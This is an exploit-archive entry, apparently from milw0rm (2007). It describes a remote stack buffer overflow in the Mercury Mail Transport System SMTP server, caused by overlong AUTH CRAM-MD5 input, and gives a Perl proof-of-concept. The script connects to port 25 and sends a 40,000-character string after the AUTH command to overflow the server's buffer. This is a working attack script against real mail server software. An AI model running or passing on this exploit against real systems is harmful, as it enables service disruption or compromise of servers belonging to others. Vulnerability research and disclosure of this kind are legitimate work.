Mercury32 Mail SMTPD - Remote Stack Overrun (PoC)

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# Mercury Mail Transport System Remote Stack Based Overflow
# Overview
# Mercury Mail Transport System: Mercury is a free, standards-based mail server
# solution, providing comprehensive, fast server support for all major Internet e-
# mail protocols. It is supplied in two versions, one hosted on Windows systems,
# the other running as a set of NLMs on Novell NetWare file servers.
# Description
# There is a remotely exploitable stack based buffer overrun in the latest version of
# Mercury Mail Transport System. Specifically the SMTP Server does not properly
# handle long AUTH CRAM-MD5 strings resulting in a complete compromise of the
# underlying system.
# Proof of Concept
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort => '25',
Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}

# milw0rm.com [2007-08-18]